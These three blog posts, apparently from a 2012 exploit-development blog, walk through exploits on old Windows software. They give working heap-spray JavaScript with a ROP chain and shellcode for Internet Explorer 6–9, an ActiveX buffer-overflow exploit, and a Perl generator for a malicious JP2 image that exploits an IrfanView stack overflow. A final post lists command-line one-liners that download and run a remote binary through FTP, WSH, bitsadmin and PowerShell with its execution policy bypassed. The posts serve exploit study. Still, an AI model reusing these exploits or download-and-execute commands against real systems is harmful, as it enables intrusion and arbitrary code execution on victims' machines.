2012
06.19

Lately I have been learning to write some exploits for some of my old discovered vulnerabilities to get it working on Windows 7 with IE9. Previously when exploiting vulnerabilities my POCs had always been on Windows XP IE6 just to make sure it worked and not having to worry about all the mitigations in later versions. In this post I am just sharing some basic info which will hopefully to help others when writing/understanding exploits for the first time while at the same time keeping it simple and not worrying to much about performance or precision. In my old exploits I used the heap spraying code below when testing on IE6.  (Just removed the un from unescape as Symantec’s Endpoint Protection doesnt like it in this section, maybe they are just too close to each other :-)  as the following unescapes are fine)

<SCRIPT language="JavaScript"> 
 var calc, chunk_size, headersize, nopsled, nopsled_len;
 var heap_chunks, i;
  calc = escape("%ucccc%ucccc");
  chunk_size = 0x40000;
  headersize = 0x24;
  nopsled = escape("%u0c0c%u0c0c");
  nopsled_len = chunk_size - (headersize + calc.length);
  while (nopsled.length < nopsled_len)
     nopsled += nopsled;
  nopsled = nopsled.substring(0, nopsled_len);
  heap_chunks = new Array();
  for (i = 0 ; i < 1000 ; i++)
     heap_chunks[i] = nopsled + calc;
</SCRIPT>

From IE8 things had changed not only because it supported DEP but heap spraying for the above code did not spray the heap. After going through some exploits a realised the only change from the above code I really had to make was by spraying the heap using “substring” function. So the code would now look like this

code = nopsled + calc;
heap_chunks = new Array();
for (i = 0 ; i < 1000 ; i++)
   heap_chunks[i] = code.substring(0, code.length);

Trying this heap spray code now on Windows 7 with IE9 again failed to spray. After reading Peter Van Eeckhoutte’s heap spraying tutorial on how heap spraying was achieved in IE9 got me thinking to see if I could simplify the code and after a few tests it literately came down to just changing one byte in each chunk. So my final spray code ended up is adding a count to each chunk just to make it unique

for (i = 0 ; i < 1000 ; i++)
{    
   codewithnum = i + code;
   heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
}

This code would now spray on all IE browsers and execute our payload on machines that did not support DEP. With machines supporting DEP a ROP chain is required to make our code executable. For this I decided to use ROP chains generated by mona on library msvcr71.dll which gets shipped with Java 6 and is a non-ASLRed. Due to jumping to our first gadget needed to be precise I wanted to write a javascript code where our sprayed chunks will be full of rop nops saving me the trouble of calculating the precise offset as offsets might vary from different OS’es plus landing in another chunk might have another offset. Alignment is still an issue at times but just incrementing or decrementing our used return address normally solves the issue. So each chunk would only have one rop + calc shellcode at the end of the chunk instead of multiple shellcode blocks in a chunk. All I did was change the nopshed value to

nopsled = unescape("%q6224%u7c37"); // 0x7c376224 RETN [MSVCR71.dll]

Putting it all together we now get a working script for Internet Explorer 6/7/8 and 9. (I had to replace the u with a q otherwise the formatting on the browser gets messed up).

<SCRIPT language="JavaScript"> 
 function padnum(n, numdigits)
 {
   n = n.toString();
   var pnum = '';
   if (numdigits > n.length)
   {
     for (z = 0; z < (numdigits - n.length); z++)
      pnum += '0';
   }
   return pnum + n.toString();
 }
 var rop, calc, chunk_size, headersize, nopsled, nopsled_len, code;
 var heap_chunks, i, codewithnum;
//        
// !mona rop -m msvcr71.dll
// * changed from default mona rop chain output
//
 rop = unescape(
 "%q2e4d%q7c36" +   //  0x7c362e4d, # POP EBP # RETN
 "%q2e4d%q7c36" +   //  0x7c362e4d, # skip 4 bytes
 "%qf053%q7c34" +   //  0x7c34f053, # POP EBX # RETN
 "%q00c8%q0000" +   //  0x000000c8, # 0x000000c8-> ebx (size 200 bytes) *
 "%q4364%q7c34" +   //  0x7c344364, # POP EDX # RETN
 "%q0040%q0000" +   //  0x00000040, # 0x00000040-> edx
 "%qf62d%q7c34" +   //  0x7c34f62d, # POP ECX # RETN
 "%qe945%q7c38" +   //  0x7c38e945, # &Writable location
 "%q496e%q7c36" +   //  0x7c36496e, # POP EDI # RETN
 "%q6c0b%q7c34" +   //  0x7c346c0b, # RETN (ROP NOP)
 "%q2adb%q7c37" +   //  0x7c372adb, # POP ESI # RETN
 "%q15a2%q7c34" +   //  0x7c3415a2, # JMP [EAX]
 "%q4edc%q7c34" +   //  0x7c344edc, # POP EAX # RETN
 "%qa151%q7c37" +   //  0x7c37a151, # ptr to &VirtualProtect() - 0x0EF  *
 "%q8c81%q7c37" +   //  0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
 "%q5c30%q7c34");   //  0x7c345c30, # ptr to 'push esp #  ret '
//
// ruby msfpayload windows/exec cmd=calc.exe J
// windows/exec - 200 bytes
// http://www.metasploit.com
// VERBOSE=false, EXITFUNC=process, CMD=calc.exe
//
 calc = unescape(
 "%qe8fc%q0089%q0000%q8960%q31e5%q64d2%q528b%q8b30" +
 "%q0c52%q528b%q8b14%q2872%qb70f%q264a%qff31%qc031" +
 "%q3cac%q7c61%q2c02%qc120%q0dcf%qc701%qf0e2%q5752" +
 "%q528b%q8b10%q3c42%qd001%q408b%q8578%q74c0%q014a" +
 "%q50d0%q488b%q8b18%q2058%qd301%q3ce3%q8b49%q8b34" +
 "%qd601%qff31%qc031%qc1ac%q0dcf%qc701%qe038%qf475" +
 "%q7d03%q3bf8%q247d%qe275%q8b58%q2458%qd301%q8b66" +
 "%q4b0c%q588b%q011c%q8bd3%q8b04%qd001%q4489%q2424" +
 "%q5b5b%q5961%q515a%qe0ff%q5f58%q8b5a%qeb12%q5d86" +
 "%q016a%q858d%q00b9%q0000%q6850%q8b31%q876f%qd5ff" +
 "%qf0bb%qa2b5%q6856%q95a6%q9dbd%qd5ff%q063c%q0a7c" +
 "%qfb80%q75e0%qbb05%q1347%q6f72%q006a%qff53%q63d5" +
 "%q6c61%q2e63%q7865%q0065");
//
 chunk_size = 0x40000;
 headersize = 0x24;
 nopsled = unescape("%q6224%q7c37"); // 0x7c376224 RETN [MSVCR71.dll]
 nopsled_len = chunk_size - (headersize + rop.length + calc.length);
 while (nopsled.length < nopsled_len)
    nopsled += nopsled;
 nopsled = nopsled.substring(0, nopsled_len);
 code = nopsled + rop + calc;                             
 heap_chunks = new Array();
 for (i = 0 ; i < 1000 ; i++)
 {
    codewithnum = padnum(i,4) + code;
    heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
 }
</SCRIPT>

Here are two images from the top and bottom of one of the chunks.

One thing to note is that the calc shellcode size in the above example is 200 bytes and this size needs to be set in our rop chain. Due to the fact that the shellcode is at the bottom of the chunk if the size used by VirtualProtect is greater than our shellcode it reads past the chunk leading to an invalid address and triggering an exception.

Here is an example of an exploit I wrote for testing purposes. I discovered this one quite some time ago. The ActiveX library awApi4.dll from “Vantage Linguistics AnswerWorks” contains a number of vulnerable stack-based buffer overflow methods. The Secunia advisory link is here. The ActiveX control had been killbitted at the time with a Microsoft patch MS07-069/942615.

<OBJECT classid="clsid:C1908682-7B2C-4AB0-B98E-183649A0BF84" id="poc">
</OBJECT>
<SCRIPT language="JavaScript"> 
   var buffer = "";
   for (i = 0; i < 215; i++) buffer += unescape("%41")
   buffer += unescape("%23%62%37%7c")   // 0x7c376223 POP EAX # RETN
   buffer += unescape("%42%42%42%42")   // compensate
   buffer += unescape("%42%42%42%42")   // compensate
   buffer += unescape("%08%08%08%08")   // fill return address
   buffer += unescape("%a9%13%34%7c")   // XCHG EAX,ESP # MOV EAX,DWORD
                                        // PTR DS:[EAX] #PUSH EAX #RETN
   buffer += unescape("%24%62%37%7c")   // 0x7c376224 RETN
   for (i = 0; i < 20; i++) buffer += unescape("%43")
   poc.GetHistory(buffer);
</SCRIPT>

This exploit has been tested and works 100% on Windows XP SP3 IE 6/7/8 and Windows 7 SP1 IE 8/9. I have included the vulnerable library, registry files to remove/add killbits and the exploit in a zip file that can be downloaded from here. The zip file has a md5 hash of d219582269ee0845f8747d0b64910f71 and the password for the zip file is “answerworks” without quotes. If you find when testing the exploit Windows Calculator fails to load then check if msvcr71.dll library is loaded in IE’s process space as I had noticed on one of my test machines that it does not load up.

This heap spraying code should work well for exploiting buffer overflows but exploiting virtual function calls is something I’ll need to look into and on my to-learn-list. On Windows 7 the only real dependency lies in having Java 6 installed as the library msvcr71.dll which comes with Java 6 is not ASLRed or gets rebased. If Java 7 is installed then another rop chain would need to be used as Java 7 libraries are all ASLRed. Windows XP is not subject to ALSR so another rop chain could be used if Java 6 is not installed.

References:

http://secunia.com/advisories/26566/
http://www.vantagelinguistics.com/answerworks/release/
http://technet.microsoft.com/en-us/security/bulletin/MS07-069
https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/

2012
02.10

This vulnerability I had discovered over Christmas while analysing a JP2 image file. In IrfanView the JP2 image is parsed by its plugin library jpeg2000.dll. The vulnerability lies when processing the Quantization Default (QCD) marker segment causing a stack-based buffer overflow. Initially after discovering the vulnerability and getting control of the EIP register I thought exploiting this would be a piece of cake but only if it was that easy. It might be still very simple for an experienced exploit writer but for me it was a bit of a challenge. Below were the steps I took to exploit this vulnerability and to make it as reliable as possible. A Jpeg2000 image file has a number of marker tags defining what each data block does one being the QCD. The QCD marker segment consists of a number of bytes

[QCD tag 0xff5c] + [QCD size 0x0023] + [QCD guard byte 0x22] + [QCD data 32 bytes]

Here 0xff5c is the magic value, 0×0023 or 35 bytes is the size and in this case consists of 2 bytes, 1 guard byte and ending with 32 bytes of data. This size can vary though as you might encounter QCD data of only 4 bytes. If we were to increase this QCD data then this would produce our stack-based buffer overflow. So viewing the QCD data part now here are the offsets for this vulnerability

[buffer 196 bytes] + [EIP] + [ESP contains 6 bytes of our buffer] + [more buffer 7549 bytes]

When overflowed we control EIP but at ESP we have only 6 buffer bytes which we can use and the rest can be seen at ESI – 0×3677 (If their is a way to jump to ESI – 0×3677 do let me know). Since I couldn’t work out how to jump to our ESI – 0×3677 or if its even possible I decided to use the only 6 bytes at ESP to see what can I do. So my plan was to use the pwned return address to jump to ESP and then use the 6 bytes to change our ESI value and jump to ESI. After giving some thought I came up with these instructions

66BE8942   mov si,0x4289 
FFE6       jmp esi    

In this example with these 6 bytes would change the SI value with 0×4289 and then jump to ESI. So what would be the best value to use as this going to be a static value and static values tend to make exploits very unreliable. Spending a bit time testing this on a number of Windows XP SP3 machines I calculated the best value to use would be 0×4289. From the table below the ESI addresses had been taken at the moment of exception when opening the JP2 file various ways

OS ESI Buffer2 start (0×65) JP2 open method
WinXPSP3  0x003472d0 0x00343c59 drop on i_view32.exe
0x003472d0 0x00343c59 drop in IrfanView window
0x003472d0 0x00343c59 double-click
0x0034be00 0×00349791 file–open
       
WinXPSP3  0×00347818 0x003441a1 drop on i_view32.exe
0×00347818 0x003441a1 drop in IrfanView window
0×00347818 0x003441a1 double-click
0×00347880 0×00348179 file–open
       
WinXPSP3  0×00037878 0×00034201 drop on i_view32.exe
0×00037900 0×00034289 drop in IrfanView window
0×00347860 0x003441e9 double-click
0×00037658 0x00037f51 file–open
       
WinXPSP3(VMware) 0×00347560 0x00343ee9 drop on i_view32.exe
0×00347560 0x00343ee9 drop in IrfanView window
0×00347560 0x00343ee9 double-click
0x0034af98 0x00343ee9 file–open
       
WinXPSP3(MSvpc) 0×00347528 0x00343eb1 drop on i_view32.exe
0×00347528 0x00343eb1 drop in IrfanView window
0×00347528 0x00343eb1 double-click
0x003471b0 0x00347ee1 file–open

As we can see the difference 0×3677 or 13943 bytes for all of them apart from the file–open method. Ignoring the file-open method for now I could have used an instruction to substract with ESI but that would have used up all my 6 bytes leaving no bytes to use for the jump. So I used the mov si,0x???? instruction which changes the last two bytes of our ESI register and using only 4 bytes. To exploit all the 3 remaining methods I used the highest value so that it still falls in our buffer which from the table is 0×4289. The reason the file–open method wont work when using the value 0×4289 is too low and does not fall in our buffer whereas the rest are at the same place or in close proximity.

Here is part of the perl code of our QCD bug and the offsets. If in total is more than 7755 (196 + 4 + 6 + 7549 = 7755) then our EIP changes so thats our buffer limit and I’ll use the entire buffer in my exploit as you’ll see further on

$QCD_tag_bug =
"\xff\x5c".                       # <0xff5c=JP2C_QCD>
"\x00\xf5".                       # Arbitrary size to trigger overflow
"\x22";                           # QuantizationStyle = 0x22
                                  #
$QCD_tag_bug .= "\x61" x 196;     # buffer1
$QCD_tag_bug .= "\x62" x 4;       # eip
$QCD_tag_bug .= "\x64" x 6;       # esp
$QCD_tag_bug .= "\x65" x 7549;    # buffer2

Now that I know the best value to use to change our ESI register using up 4 bytes and leaving 2 bytes for my jump. So a simple jump say call esi (0xffd6) should do the trick, but as always its never straight forward. From the choices of instructions below only JMP DWORD PTR DS:[ESI+??] worked for all JP2 open methods. The JMP DWORD PTR DS:[ESI] instruction did work on one machine though but what good is that working on one XP machine out of 5 :-) . The problem with JMP DWORD PTR DS:[ESI+??] instruction is that its uses a 7th byte on our stack which we dont control, luckily this value has always been 0×34 so JMP DWORD PTR DS:[ESI+34] still takes us into our buffer.

FF56 ??    CALL DWORD PTR DS:[ESI+??]
FF66 ??    JMP DWORD PTR DS:[ESI+??]
FF16       CALL DWORD PTR DS:[ESI]
FF26       JMP DWORD PTR DS:[ESI]
FFD6       CALL ESI
FFE6       JMP ESI

Using JMP DWORD PTR DS:[ESI+??] has another problem though in that I had to be precise for it to pick up our next jump address at that point. So once aligned and the buffer filled with call esi addresses (as the location might vary) the call esi took us back into the buffer again and this time our return addresses acted as nops and slided straight to our shellcode.

So our exploit takes the following steps

1. EIP will have our address to jump to ESP
       0x00460ef0 : jmp esp        [i_view32.exe]

2. ESP will have instructions to change ESI and jmp [esi+??]
       66BE8942   MOV SI,0×4289 
       FF66 ??        JMP DWORD PTR DS:[ESI+??]

3. Buffer will contain call esi return addresses used in step 2.
       0x0049014f : call esi          [i_view32.exe]

4. Calls ESI and takes us back in our buffer and now the call esi   instruction acts as nops
       4F                 DEC EDI
       0149 00      ADD DWORD PTR DS:[ECX],ECX

5. Our return address nops meet our normal nops and then our shellcode.

$outfile = "jp2_irfanview_exploit.jp2";
#
$JP2header =
"\x00\x00\x00\x0c".         #
"\x6a\x50\x20\x20".         # [jP  ] <0x6a502020> magic 0xd0a870a,len 12
"\x0d\x0a\x87\x0a".         #
"\x00\x00\x00\x14".         #
"\x66\x74\x79\x70".         # [ftyp] <0x66747970> len 20 data offset 8
"\x6a\x70\x32\x20".         #         MajorVersion = 0x6a703220 = [jp2 ]
"\x00\x00\x00\x00".         #         MinorVersion = 0      = [\0\0\0\0]
"\x6a\x70\x32\x20".         #         Compat = 0x6a703220 = [jp2 ]
"\x00\x00\x00\x38".         #
"\x75\x75\x69\x64".         # [uuid] <0x75756964> len 56 data offset 8
"\x61\x70\x00\xde\xec\x87". # 56 bytes with start and end tags
"\xd5\x11\xb2\xed\x00\x50". #
"\x04\x71\xfd\xdc\xd2\x00". #
"\x00\x00\x40\x01\x00\x00". #         
"\x00\x00\x00\x00\x60\x09". #
"\x00\x00\x00\x00\x00\x00". #
"\x00\x00\x00\x00\x00\x00". #
"\x00\x00\x30\x00\x00\x00". #        
"\x00\x00\x00\x2d".         #
"\x6a\x70\x32\x68".         # [jp2h] <0x6a703268> len 45 data offset 8
"\x00\x00\x00\x16".         #
"\x69\x68\x64\x72".         # [ihdr] <0x69686472> len 22 data offset 8
"\x00\x00\x00\x0a".         #         ImageHeight = 10
"\x00\x00\x00\x0a".         #         ImageWidth = 10 
"\x00\x03".                 #         NumberOfComponents = 3
"\x07".                     #         BitsPerComponent = 7
"\x07".                     #         Compression = 7
"\x01".                     #         Colorspace = 0x1 = unknown
"\x00\x00\x00\x00\x0f".     #                 
"\x63\x6f\x6c\x72".         # [colr] <0x636f6c72> len 15 data offset 8
"\x01".                     #         Method = 1
"\x00".                     #         Precedence = 0
"\x00".                     #         ColorSpaceAproximation = 0
"\x00\x00\x00".             #         EnumeratedColorSpace = 16 = sRGB
"\x10\x00\x00\x00\x00".     #
"\x6a\x70\x32\x63".         # [jp2c] <0x6a703263> length 0 data offset 8
"\xff\x4f".                 # <0xff4f=JP2C_SOC> Start of codestream
"\xff\x51".                 # <0xff51=JP2C_SIZ> length 47
"\x00\x2f".                 #         47 bytes
"\x00\x00".                 #         Capabilities = 0
"\x00\x00\x00\x0a".         #         GridWidth = 10
"\x00\x00\x00\x0a".         #         GridHeight = 10 
"\x00\x00\x00\x00".         #         XImageOffset = 0
"\x00\x00\x00\x00".         #         YImageOffset = 0
"\x00\x00\x00\x0a".         #         TileWidth = 10
"\x00\x00\x00\x0a".         #         TileHeight = 10 
"\x00\x00\x00\x00".         #         Xtileoffset = 0
"\x00\x00\x00\x00".         #         Ytileoffset = 0
"\x00\x03".                 #         NumberOfComponents = 3
"\x07\x01\x01".             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
"\x07\x01\x01".             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
"\x07\x01\x01".             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
"\xff\x52".                 # <0xff52=JP2C_COD> length 12
"\x00\x0c".                 #   12 bytes
"\x00".                     #   codingStyle=0=entropy coder w/o partitio
"\x00".                     #   ProgressionOrder = 0
"\x00\x05".                 #   NumberOfLayers = 0x5
"\x01".                     #   MultiComponentTransform=0x1=5/3 reversib
"\x05".                     #   DecompLevels = 5
"\x04".                     #   CodeBlockWidthExponent=0x4+2 # cbw ->64
"\x04".                     #   CodeBlockHeightExponent=0x4+2 # cbh ->64
"\x00".                     #   CodeBLockStyle = 0
"\x00";                     #   QMIFBankId = 0
#          
#
#
# 1024 bytes away from the start of buffer2 0x4289 + 0x400 = 0x4689
# making it more reliable if the value does vary
#
# mov si,0x4689 jmp dword ptr ds:[esi+??]
#
$QCDESP = "\xbe\x66\x46\x89\x66\xff";
#
#
$QCDEIP = "\x0e\xf0\x00\x46";         # 0x00460ef0 : jmp esp 
#
#
# The return address now acts as nops
#
# 4F               DEC EDI
# 0149 00          ADD DWORD PTR DS:[ECX],ECX
#
#
$QCDEIP2 = "\x4f\x01\x49\x00" x 1700; # 0x0049014f : call esi
#
#
# ruby msfpayload windows/exec CMD=calc.exe exitfunc=process -t perl
# windows/exec - 200 bytes
# http://www.metasploit.com
# VERBOSE=false, EXITFUNC=process, CMD=calc.exe
#
$SHELL =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" .
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" .
"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" .
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" .
"\x65\x78\x65\x00";
#
#
$QCDstart = "\xff\x5c";
#
$QCDsize  =  "\x00\xf5";   # arbitrary size to trigger overflow
#
$QCDguard = "\x22";
#
$QCDBUF   = "\x61" x 196;
#
$QCDPAD   = "\x61" x 4;    # Use this to align if our 7th byte varies
#
$FILLNOPS = 7549 - (length($QCDPAD) + length($QCDEIP2) + length($SHELL));
#
$QCDnops  = "\x90" x $FILLNOPS; 
#
$QCDdata  = $QCDBUF.$QCDEIP.$QCDESP.$QCDPAD.$QCDEIP2.$QCDnops.$SHELL; 
#                                     
$QCDbug   = $QCDstart . $QCDsize . $QCDguard . $QCDdata;
#
#
$JP2image =                         
"\xff\x90".                         # <0xff90=JP2C_SOT>len 10
"\x00\x0a".                         # 10 bytes
"\x00\x00\x00\x00\x00\x68\x00\x01".
"\xff\x93".                         # <0xff93=JP2C_SOD> Start of data
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80".
"\xff\xd9";                         # <0xffd9=JP2C_EOC> End of codestre
#
#
print "[*] Creating JP2 exploit\n";
open (my $pocfile, "> $outfile");
binmode $pocfile;
print $pocfile  $JP2header . $QCDbug . $JP2image;
close $pocfile;
sleep(1);
print "[+] $outfile created\n\n";

In the above exploit the JP2 header information was obtained using the ExifProbe tool on a Ubuntu machine.

 

Applications using Jasper software to parse JP2 files can also be exploited to cause heap-based buffer overflows when copying the QCD marker segment. Have a look at Secunia’s advisory here. I have already made discoveries in applications XnView, IvanView and PhotoLine and they are probably many more to be discovered. If you do discover any vulnerabilities you might want to think about submitting through Secunia’s Vulnerability Coordination Reward Program (SVCRP).

Here is a perl code you can use to create JP2 files with different QCD data sizes to test applications supporting jp2 to see if it triggers any overflows. You just need to change the datalen variable.

$datalen = 32;
$outfile = "jp2botest.jp2";
#
$JP2header =
"\x00\x00\x00\x0c\x6a\x50\x20\x20\x0d\x0a\x87\x0a\x00\x00\x00\x14".
"\x66\x74\x79\x70\x6a\x70\x32\x20\x00\x00\x00\x00\x6a\x70\x32\x20".
"\x00\x00\x00\x38\x75\x75\x69\x64\x61\x70\x00\xde\xec\x87\xd5\x11".
"\xb2\xed\x00\x50\x04\x71\xfd\xdc\xd2\x00\x00\x00\x40\x01\x00\x00".
"\x00\x00\x00\x00\x60\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x2d\x6a\x70\x32\x68".
"\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0a\x00\x00\x00\x0a".
"\x00\x03\x07\x07\x01\x00\x00\x00\x00\x0f\x63\x6f\x6c\x72\x01\x00".
"\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6a\x70\x32\x63\xff\x4f\xff".
"\x51\x00\x2f\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x03\x07\x01\x01\x07\x01\x01\x07\x01\x01".
"\xff\x52\x00\x0c\x00\x00\x00\x05\x01\x05\x04\x04\x00\x00";
#      
$QCDstart = "\xff\x5c";
$QCDguard = "\x22";                      
$QCDdata  = "\x64" x $datalen;                                         
$QCDlen   = length($QCDstart . $QCDguard . $QCDdata);
$QCDsize  = pack('n', hex(unpack('H*', pack('n', $QCDlen))));
$QCD_tag = $QCDstart . $QCDsize . $QCDguard . $QCDdata;
#
$JP2image =
"\xff\x90\x00\x0a\x00\x00\x00\x00\x00\x68\x00\x01\xff\x93\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80".
"\x80\x80\x80\x80\x80\x80\x80\x80\xff\xd9";                     
#
print "[*] Creating JP2 file\n";
open (my $pocfile, "> $outfile");
binmode $pocfile;
print $pocfile  $JP2header . $QCD_tag . $JP2image;
close $pocfile;
sleep(1);
print "[+] $outfile created\n\n";

This IrfanView exploit only works on Windows XP machines and has not been tested on any Windows 7 machines, also the exploit will not work if the DEP settings have been changed to “OptOut” or “AlwaysOn”, so there are still limitations but someone with more expertise may be able to utilize those 6 bytes at esp more efficiently. Finally an update has been released so make sure to let everyone know those using Irfanview to update their software immediately.

References:

http://secunia.com/advisories/47360/
http://packages.ubuntu.com/lucid/exifprobe

2012
01.06

In this post I am just highlighting some of the ways that I know of where we can download and execute code via the commandline which could be used in command injection vulnerabilities or exploiting buffer overflows using the classic ret-to-libc method. Most of you would most probably know these methods but I thought I’d post it anyway for my own reference.

FTP method
FTP can be used to download a binary and then get executed with the start command. The downside to this method is that we’ll need to have a FTP server hosting the binary file. Nevertheless the command string length can be reasonably small.

Here the ftp commands which are first echoed to create a script, then run the script by ftp.exe to download the binary and finally executing the binary.

open 192.168.1.3
binary
get /messbox.exe
quit
cmd.exe /c "@echo open 192.168.1.3>script.txt&@echo binary>>script.txt&
@echo get /messbox.exe>>script.txt&@echo quit>>script.txt&@ftp -s:scrip
t.txt -v -A&@start messbox.exe"

We can make the command string smaller by using o for open and b for binary. Also our script file can also be represented as a single character.

WSH method
Windows Scripting Host can also be used to download and execute code. For this we again need to echo out the scripting code to a file and then run our script by cscript.exe.

strFileURL = "http://www.greyhathacker.net/tools/messbox.exe"
strHDLocation = "mess.exe"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0   
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
Set objShell = CreateObject("WScript.Shell")
objShell.Exec("mess.exe")

Below is the code that is chained up and then using cscript.exe to run our script.

cmd.exe /c "@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>poc.vbs
&@echo objXMLHTTP.open "GET","http://www.greyhathacker.net/tools/messbo
x.exe",false>>poc.vbs&@echo objXMLHTTP.send()>>poc.vbs&@echo If objXMLH
TTP.Status=200 Then>>poc.vbs&@echo Set objADOStream=CreateObject("ADODB
.Stream")>>poc.vbs&@echo objADOStream.Open>>poc.vbs&@echo objADOStream.
Type=1 >>poc.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>poc.
vbs&@echo objADOStream.Position=0 >>poc.vbs&@echo objADOStream.SaveToFi
le "mess.exe">>poc.vbs&@echo objADOStream.Close>>poc.vbs&@echo Set objA
DOStream=Nothing>>poc.vbs&@echo End if>>poc.vbs&@echo Set objXMLHTTP=No
thing>>poc.vbs&@echo Set objShell=CreateObject("WScript.Shell")>>poc.vb
s&@echo objShell.Exec("mess.exe")>>poc.vbs&cscript.exe poc.vbs"

BITSadmin method
Windows 7 comes with a console tool called bitsadmin.exe which can be used to download and upload files. The cool thing about bitsadmin is that it suspends the transfer if a network connection is lost. After reconnection the transfer continues where it left off and executes our code.

cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://w
ww.greyhathacker.net/tools/messbox.exe c:\mess.exe&start mess.exe"

PowerShell method
Powershell is a scripting language which comes as standard in Windows 7. Below is a script which downloads and executes mess.exe.

$down = New-Object System.Net.WebClient
$url  = 'http://www.greyhathacker.net/tools/messbox.exe';
$file = 'mess.exe';
$down.DownloadFile($url,$file);
$exec = New-Object -com shell.application
$exec.shellexecute($file);

We can echo this script to a file and then run the script using Powershell with the “bypass” parameter as by default the Powershell policy is set to “restricted”.

powershell.exe -executionpolicy bypass -file poc.ps1

Another elegant way to run our code without any scripts is by chaining our code in one line as shown below

PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.g
reyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'
PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.g
reyhathacker.net/tools/messbox.exe','mess.exe');(New-Object -com Shell.
Application).ShellExecute('mess.exe');

References:

http://technet.microsoft.com/en-us/library/dd347628.aspx
http://msdn.microsoft.com/en-us/library/aa362812.aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/aa362813(v=vs.85).aspx